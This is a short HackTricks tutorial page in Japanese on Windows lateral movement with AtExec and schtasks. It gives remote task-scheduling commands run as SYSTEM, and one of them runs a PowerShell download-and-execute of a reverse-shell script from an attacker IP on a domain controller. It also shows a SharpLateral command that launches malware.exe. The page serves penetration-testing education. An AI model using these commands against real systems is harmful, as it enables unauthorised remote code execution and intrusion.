hacktricks/windows-hardening/lateral-movement/atexec.md

AtExec / SchtasksExec

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どのように機能するか

Atは、ユーザー名/(パスワード/ハッシュ)を知っているホストでタスクをスケジュールすることを可能にします。したがって、他のホストでコマンドを実行し、その出力を取得するために使用できます。

At \\victim 11:00:00PM shutdown -r

schtasksを使用するには、まずタスクを作成し、その後呼び出す必要があります：

{% code overflow="wrap" %}

schtasks /create /n <TASK_NAME> /tr C:\path\executable.exe /sc once /st 00:00 /S <VICTIM> /RU System
schtasks /run /tn <TASK_NAME> /S <VICTIM>

{% endcode %}

{% code overflow="wrap" %}

schtasks /create /S dcorp-dc.domain.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "MyNewtask" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.X/InvokePowerShellTcp.ps1''')'"
schtasks /run /tn "MyNewtask" /S dcorp-dc.domain.local

{% endcode %}

SharpLateralも使用できます：

{% code overflow="wrap" %}

SharpLateral schedule HOSTNAME C:\Users\Administrator\Desktop\malware.exe TaskName

{% endcode %}

More information about the use of schtasks with silver tickets here.

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